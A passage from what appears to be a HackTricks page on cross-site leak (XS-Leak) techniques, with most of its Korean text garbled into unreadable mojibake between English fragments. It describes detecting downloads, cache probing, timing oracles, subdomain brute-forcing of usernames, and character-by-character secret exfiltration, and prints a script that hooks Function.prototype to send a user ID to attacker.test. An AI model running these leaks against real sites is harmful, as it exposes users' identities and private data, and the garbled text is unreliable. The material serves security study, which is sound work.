์ธ ๋ฅผ ์ธ๋ผ์ธ์ผ๋ก ํ์ํ์ง ์๊ณ ๋ค์ด๋ก๋ํ๋๋ก ์ง์ํฉ๋๋ค. ์ด ๋์์ ์ด์ฉํ๋ฉด ๊ณต๊ฒฉ์๋ ์ฌ์ฉ์๊ฐ ํ์ผ ๋ค์ด๋ก๋๋ฅผ ์ ๋ฐํ๋ ํ์ด์ง์ ์ ๊ทผ ๊ถํ์ด ์๋์ง ๊ฐ์งํ ์ ์์ต๋๋ค. Chromium ๊ธฐ๋ฐ ๋ธ๋ผ์ฐ์ ์์๋ ๋ค์๊ณผ ๊ฐ์ ๋ช ๊ฐ์ง ๊ธฐ๋ฒ์ผ๋ก ์ด ๋ค์ด๋ก๋ ๋์์ ๊ฐ์งํ ์ ์์ต๋๋ค:
- Download Bar ๋ชจ๋ํฐ๋ง:
- Chromium ๊ธฐ๋ฐ ๋ธ๋ผ์ฐ์ ์์ ํ์ผ์ ๋ค์ด๋ก๋ํ๋ฉด ๋ธ๋ผ์ฐ์ ์ฐฝ ํ๋จ์ download bar๊ฐ ๋ํ๋ฉ๋๋ค.
- ์ฐฝ ๋์ด์ ๋ณํ๋ฅผ ๋ชจ๋ํฐ๋งํจ์ผ๋ก์จ ๊ณต๊ฒฉ์๋ download bar์ ์ถํ์ ์ถ๋ก ํ ์ ์์ผ๋ฉฐ, ์ด๋ ๋ค์ด๋ก๋๊ฐ ์์๋์์์ ์์ํฉ๋๋ค.
- Iframes๋ฅผ ์ด์ฉํ Download Navigation:
Content-Disposition: attachmentํค๋๋ก ํ์ผ ๋ค์ด๋ก๋๋ฅผ ์ ๋ฐํ๋ ํ์ด์ง๋ ๋ค๋น๊ฒ์ด์ ์ด๋ฒคํธ๋ฅผ ๋ฐ์์ํค์ง ์์ต๋๋ค.- ํด๋น ์ฝํ ์ธ ๋ฅผ iframe์ ๋ก๋ํ๊ณ ๋ค๋น๊ฒ์ด์ ์ด๋ฒคํธ๋ฅผ ๋ชจ๋ํฐ๋งํ๋ฉด, ์ฝํ ์ธ ๊ฐ ํ์ผ ๋ค์ด๋ก๋๋ฅผ ์ ๋ฐํ๋์ง(๋ค๋น๊ฒ์ด์ ์์) ์๋๋ฉด ์ธ๋ผ์ธ์ผ๋ก ํ์๋๋์ง(๋ค๋น๊ฒ์ด์ ๋ฐ์ํ๋์ง)๋ฅผ ํ์ธํ ์ ์์ต๋๋ค.
- Iframes ์์ด Download Navigation:
- iframe ๊ธฐ๋ฒ๊ณผ ์ ์ฌํ๊ฒ, ์ด ๋ฐฉ๋ฒ์ iframe ๋์
window.open์ ์ฌ์ฉํฉ๋๋ค. - ์๋ก ์ด๋ฆฐ ์ฐฝ์์ ๋ค๋น๊ฒ์ด์ ์ด๋ฒคํธ๋ฅผ ๋ชจ๋ํฐ๋งํ๋ฉด ํ์ผ ๋ค์ด๋ก๋๊ฐ ํธ๋ฆฌ๊ฑฐ๋์๋์ง(๋ค๋น๊ฒ์ด์ ์์) ์๋๋ฉด ์ฝํ ์ธ ๊ฐ ์ธ๋ผ์ธ์ผ๋ก ํ์๋์๋์ง(๋ค๋น๊ฒ์ด์ ๋ฐ์) ํ๋จํ ์ ์์ต๋๋ค.
์ด๋ฌํ ๋ค์ด๋ก๋๋ ๋ก๊ทธ์ธํ ์ฌ์ฉ์๋ง ํธ๋ฆฌ๊ฑฐํ ์ ์๋ ๊ฒฝ์ฐ๊ฐ ๋ง์ผ๋ฏ๋ก, ์ด ๊ธฐ๋ฒ๋ค์ ๋ค์ด๋ก๋ ์์ฒญ์ ๋ํ ๋ธ๋ผ์ฐ์ ์ ์๋ต์ ๊ธฐ๋ฐ์ผ๋ก ์ฌ์ฉ์์ ์ธ์ฆ ์ํ๋ฅผ ๊ฐ์ ์ ์ผ๋ก ์ถ๋ก ํ๋ ๋ฐ ์ฌ์ฉ๋ ์ ์์ต๋๋ค.
Partitioned HTTP Cache Bypass
- ํฌํจ ๋ฐฉ์: Pop-ups
- ๊ฐ์ง ๊ฐ๋ฅํ ์ฐจ์ด: Timing
- ์์ธํ ์ ๋ณด: https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass
- ์์ฝ: An attacker can discern file downloads by leveraging iframes; continued accessibility of the iframe implies successful file download.
- ์ฝ๋ ์์: https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass, https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722 (from https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/)
Warning
This is why this technique is interesting: Chrome now has cache partitioning, and the cache key of the newly opened page is:
(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx), but if I open an ngrok page and use fetch in it, the cache key will be:(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx), the cache key is different, so the cache cannot be shared. You can find more detail here: Gaining security and privacy by partitioning the cache
(Comment from here)
์ฌ์ดํธ example.com์ด *.example.com/resource์์ ๋ฆฌ์์ค๋ฅผ ํฌํจํ๋ฉด, ํด๋น ๋ฆฌ์์ค๋ ํ๋ ๋ฒจ ๋ค๋น๊ฒ์ด์
์ ํตํด ์ง์ ์์ฒญํ ๊ฒ๊ณผ ๊ฐ์ ์บ์ฑ ํค๋ฅผ ๊ฐ์ต๋๋ค. ์ด๋ ์บ์ฑ ํค๊ฐ ํ๋ ๋ฒจ์ _eTLD+1_๊ณผ ํ๋ ์์ _eTLD+1_์ผ๋ก ๊ตฌ์ฑ๋๊ธฐ ๋๋ฌธ์
๋๋ค.
์บ์ ์ ๊ทผ์ ๋ฆฌ์์ค ๋ก๋๋ณด๋ค ๋ ๋น ๋ฅด๋ฏ๋ก, ํ์ด์ง์ ์์น๋ฅผ ๋ณ๊ฒฝํ๊ณ ์๋ฅผ ๋ค์ด 20ms ํ์ ์ทจ์ํด ๋ณด๋ ์์ผ๋ก ์บ์ ์ฌ๋ถ๋ฅผ ํ์ธํ ์ ์์ต๋๋ค. ๋ง์ฝ ์ค๋จ ํ์ origin์ด ๋ณ๊ฒฝ๋์๋ค๋ฉด ํด๋น ๋ฆฌ์์ค๊ฐ ์บ์๋์ด ์์์์ ์๋ฏธํฉ๋๋ค.
๋๋ ๋จ์ํ ์ ์ฌ์ ์ผ๋ก ์บ์๋ ํ์ด์ง์ fetch๋ฅผ ๋ณด๋ด๊ณ ์์ ์๊ฐ์ ์ธก์ ํด๋ ๋ฉ๋๋ค.
Manual Redirect
- ํฌํจ ๋ฐฉ์: Fetch API
- ๊ฐ์ง ๊ฐ๋ฅํ ์ฐจ์ด: Redirects
- ์์ธํ ์ ๋ณด: ttps://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7_0_1234
- ์์ฝ: Itโs possible to find out if a response to a fetch request is a redirect
- ์ฝ๋ ์์:
.png)
Fetch with AbortController
- ํฌํจ ๋ฐฉ์: Fetch API
- ๊ฐ์ง ๊ฐ๋ฅํ ์ฐจ์ด: Timing
- ์์ธํ ์ ๋ณด: https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller
- ์์ฝ: Itโs possible to try to load a resource and about before itโs loaded the loading is interrupted. Depending on if an error is triggered, the resource was or wasnโt cached.
- ์ฝ๋ ์์: https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller
_fetch_์ _setTimeout_์ AbortController์ ํจ๊ป ์ฌ์ฉํ์ฌ ํน์ ๋ฆฌ์์ค๊ฐ ์บ์๋์๋์ง ๊ฐ์งํ๊ณ ๋ธ๋ผ์ฐ์ ์บ์์์ ํน์ ๋ฆฌ์์ค๋ฅผ ์ ๊ฑฐ(evict)ํ ์ ์์ต๋๋ค. ๋ํ ์ด ๊ณผ์ ์ ์๋ก์ด ์ฝํ ์ธ ๋ฅผ ์บ์ฑํ์ง ์๊ณ ๋ฐ์ํฉ๋๋ค.
Script Pollution
- ํฌํจ ๋ฐฉ์: HTML Elements (script)
- ๊ฐ์ง ๊ฐ๋ฅํ ์ฐจ์ด: Page Content
- ์์ธํ ์ ๋ณด: https://xsleaks.dev/docs/attacks/element-leaks/#script-tag
- ์์ฝ: Itโs possible to overwrite built-in functions and read their arguments which even from cross-origin script (which cannot be read directly), this might leak valuable information.
- ์ฝ๋ ์์: https://xsleaks.dev/docs/attacks/element-leaks/#script-tag
ํ๋กํ ํ์ ํ ์ ์ด์ฉํ ๋ชจ๋ ๋ฒ์ ๋ฐ์ดํฐ ์ถ์ถ
๋ชจ๋์ ๋ก๋ํ๊ธฐ ์ ์ Function.prototype.default์ Function.prototype.__esModule = 1์ ๋ฏธ๋ฆฌ ์ ์ํ๋ฉด, ํด๋น ๋ชจ๋์ default export๊ฐ ๋น์ ์ ํ
์ ํธ์ถํ๊ฒ ๋์ด(e.g., {userID: ...}๋ฅผ ๋ฐ์) timing์ด๋ ๋ฌด์ฐจ๋ณ ๋์
์์ด ๋ชจ๋ ๋ฒ์์ ๊ฐ์ ์ฝ์ ์ ์์ต๋๋ค.
<script>
Function.prototype.default=(e)=>{if(typeof e.userID==="string")fetch("//attacker.test/?id="+e.userID)}
Function.prototype.__esModule=1
</script>
<script src="https://www.facebook.com/signals/iwl.js?pixel_id=PIXEL_ID"></script>
The request itself also becomes a login-state oracle if the script only loads for authenticated users.
Service Workers
- Inclusion Methods: Pop-ups
- Detectable Difference: Page Content
- More info: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers
- Summary: Measure execution time of a web using service workers.
- Code Example:
In the given scenario, the attacker takes the initiative to register a service worker within one of their domains, specifically โattacker.comโ. Next, the attacker opens a new window in the target website from the main document and instructs the service worker to commence a timer. As the new window begins to load, the attacker navigates the reference obtained in the previous step to a page managed by the service worker.
Upon arrival of the request initiated in the preceding step, the service worker responds with a 204 (No Content) status code, effectively terminating the navigation process. At this point, the service worker captures a measurement from the timer initiated earlier in step two. This measurement is influenced by the duration of JavaScript causing delays in the navigation process.
Warning
์คํ ํ์ด๋ฐ ๊ณต๊ฒฉ์์๋ ๋คํธ์ํฌ ์์ธ์ ์ ๊ฑฐํ์ฌ ๋ ์ ๋ฐํ ์ธก์ ๊ฐ์ ์ป์ ์ ์์ต๋๋ค. ์๋ฅผ ๋ค์ด, ํ์ด์ง์์ ์ฌ์ฉํ๋ ๋ฆฌ์์ค๋ฅผ ๋ฏธ๋ฆฌ ๋ก๋ํ ํ์ ํ์ด์ง๋ฅผ ๋ก๋ํ๋ ๋ฐฉ์์ผ๋ก ๋คํธ์ํฌ ๋ณ๋์ ์ค์ผ ์ ์์ต๋๋ค.
Fetch Timing
- Inclusion Methods: Fetch API
- Detectable Difference: Timing (generally due to Page Content, Status Code)
- More info: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks
- Summary: Use performance.now() to measure the time it takes to perform a request. Other clocks could be used.
- Code Example: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks
Cross-Window Timing
- Inclusion Methods: Pop-ups
- Detectable Difference: Timing (generally due to Page Content, Status Code)
- More info: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks
- Summary: se performance.now() to measure the time it takes to perform a request using
window.open. Other clocks could be used. - Code Example: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks
Subdomain probing for identity/login state
- Inclusion Methods: HTML Elements (script), Frames
- Detectable Difference: DNS/HTTP load success, CORB/header changes
- Summary: If identifiers live in subdomain labels (e.g.,
www.<username>.sb.facebook.com), request resources on candidate hosts and treatonloadvsonerror/timeouts as a Boolean. Combine with login-only scripts (e.g.,/signals/iwl.js) to brute-force usernames and verify auth to related properties. - Note: Signals can be amplified with different inclusion types (
script,iframe,object) to detectX-Frame-Options,CORB, or redirect differences per candidate.
With HTML or Re Injection
์ฌ๊ธฐ์๋ cross-origin HTML์ HTML ์ฝํ ์ธ ๋ฅผ ์ฃผ์ ํ๋ ์ํฉ์์ ์ ๋ณด๋ฅผ ์ ์ถ(exfiltrate)ํ๋ ๊ธฐ๋ฒ๋ค์ ์ค๋ช ํฉ๋๋ค. ์ด ๊ธฐ๋ฒ๋ค์ ์ด๋ค ์ด์ ๋ก๋ HTML์ ์ฃผ์ ํ ์ ์์ง๋ง JS ์ฝ๋๋ ์ฃผ์ ํ ์ ์๋ ๊ฒฝ์ฐ์ ํนํ ์ ์ฉํฉ๋๋ค.
Dangling Markup
Dangling Markup - HTML scriptless injection
Image Lazy Loading
๋ง์ฝ ์ฝํ
์ธ ๋ฅผ exfiltrateํด์ผ ํ๊ณ ๋น๋ฐ(secret) ์์ HTML์ ์ถ๊ฐํ ์ ์๋ ์ํฉ์ด๋ผ๋ฉด common dangling markup techniques์ ๋จผ์ ํ์ธํด์ผ ํฉ๋๋ค.
ํ์ง๋ง ์ด๋ค ์ด์ ๋ก๋ ๋ฐ๋์(char by char) ํ๋์ฉ ๋นผ๋ด์ผ ํ๋ ๊ฒฝ์ฐ(์: ํต์ ์ด ์บ์ ํํธ๋ก ์ด๋ฃจ์ด์ง๋ ๊ฒฝ์ฐ)์๋ ์ด ํธ๋ฆญ์ ์ฌ์ฉํ ์ ์์ต๋๋ค.
Images ํ๊ทธ๋ โloadingโ ์์ฑ์ ๊ฐ์ง๋ฉฐ ๊ทธ ๊ฐ์ผ๋ก โlazyโ๋ฅผ ์ฌ์ฉํ ์ ์์ต๋๋ค. ์ด ๊ฒฝ์ฐ ์ด๋ฏธ์ง๋ ํ์ด์ง ๋ก๋ ์์ ์ด ์๋๋ผ ์ฌ์ฉ์๊ฐ ํด๋น ์ด๋ฏธ์ง๋ฅผ ๋ณผ ๋ ๋ก๋๋ฉ๋๋ค:
<img src=/something loading=lazy >
๋ฐ๋ผ์ ํ ์ ์๋ ๋ฐฉ๋ฒ์ ๋ง์ junk chars๋ฅผ ์ถ๊ฐํ๋ ๊ฒ์
๋๋ค (์: ์์ฒ ๊ฐ์ โWโ)๋ก secret ์์ ์น ํ์ด์ง๋ฅผ ์ฑ์ฐ๊ฑฐ๋ ๋ค์๊ณผ ๊ฐ์ ์์๋ฅผ ์ถ๊ฐ <br><canvas height="1850px"></canvas><br>.
๊ทธ๋ฐ ๋ค์ ์๋ฅผ ๋ค์ด ์ฐ๋ฆฌ์ injection appear before the flag, image๋ loaded๋์ง๋ง, after์ ๋ํ๋๋ฉด flag + ์ ํฌ๊ฐ prevent it from being loadedํฉ๋๋ค (์ผ๋ง๋ ๋ง์ ์ ํฌ๋ฅผ ๋ฃ์์ง ์กฐ์ ํด์ผ ํฉ๋๋ค). ์ด๊ฑด this writeup์์ ๋ฐ์ํ ์ผ์
๋๋ค.
Another option would be to use the scroll-to-text-fragment if allowed:
Scroll-to-text-fragment
ํ์ง๋ง, ์๋ฅผ ๋ค์ด ๋ค์๊ณผ ๊ฐ์ด bot access the page ํ๊ฒ ํฉ๋๋ค:
#:~:text=SECR
์๋ฅผ ๋ค์ด ์น ํ์ด์ง๋ ๋ค์๊ณผ ๊ฐ์ ๊ฒ์
๋๋ค: https://victim.com/post.html#:~:text=SECR
post.html์๋ ๊ณต๊ฒฉ์์ junk chars์ lazy load image๊ฐ ํฌํจ๋์ด ์๊ณ , ๊ทธ ์๋์ ๋ด์ ๋น๋ฐ์ด ์ถ๊ฐ๋ฉ๋๋ค.
์ด ํ
์คํธ๋ ๋ด์ด ํ์ด์ง ๋ด์์ SECR ํ
์คํธ๋ฅผ ํฌํจํ๋ ๋ชจ๋ ํ
์คํธ์ ์ ๊ทผํ๊ฒ ๋ง๋ญ๋๋ค. ํด๋น ํ
์คํธ๊ฐ ๋น๋ฐ์ด๊ณ ์ด๋ฏธ์ง ๋ฐ๋ก ์๋์ ์์ผ๋ฏ๋ก, ์ถ์ ํ ๋น๋ฐ์ด ์ ํํ ๋์๋ง ์ด๋ฏธ์ง๊ฐ ๋ก๋๋ฉ๋๋ค. ์ด๋ ๊ฒ ํด์ ๋น๋ฐ์ ํ ๊ธ์์ฉ exfiltrateํ ์ ์๋ ์ค๋ผํด์ ๋ง๋ค ์ ์์ต๋๋ค.
Some code example to exploit this: https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e
Image Lazy Loading Time Based
If itโs not possible to load an external image that could indicate the attacker that the image was loaded, another option would be to try to guess the char several times and measure that. If the image is loaded all the requests would take longer that if the image isnโt loaded. This is what was used in the solution of this writeup ์์ฝํ๋ฉด ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
Event Loop Blocking + Lazy images
ReDoS
Regular expression Denial of Service - ReDoS
CSS ReDoS
jQuery(location.hash)๊ฐ ์ฌ์ฉ๋๋ ๊ฒฝ์ฐ, ํ์ด๋ฐ์ ํตํด ์ผ๋ถ HTML ์ฝํ
์ธ ๊ฐ ์กด์ฌํ๋์ง ์์๋ผ ์ ์์ต๋๋ค. ์ด๋ ์ ํ์ main[id='site-main']๊ฐ ์ผ์นํ์ง ์์ผ๋ฉด ๋๋จธ์ง selectors๋ฅผ ํ์ธํ ํ์๊ฐ ์๊ธฐ ๋๋ฌธ์
๋๋ค:
$(
"*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']"
)
CSS Injection
์ํ์ฑ
๊ถ์ฅ๋๋ ์ํ์ฑ ์ https://xsinator.com/paper.pdf์ ์ํค์ ๊ฐ ์น์ https://xsleaks.dev/์ ์ ๋ฆฌ๋์ด ์์ต๋๋ค. ์ด๋ฌํ ๊ธฐ๋ฒ์ผ๋ก๋ถํฐ ๋ณดํธํ๋ ๋ฐฉ๋ฒ์ ๋ํ ์์ธํ ๋ด์ฉ์ ํด๋น ์๋ฃ๋ค์ ์ฐธ๊ณ ํ์ธ์.
์ฐธ๊ณ ์๋ฃ
- https://xsinator.com/paper.pdf
- https://xsleaks.dev/
- https://github.com/xsleaks/xsleaks
- https://xsinator.com/
- https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle
- Cross-Site Leaks (XS-Leaks) across Meta platforms
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


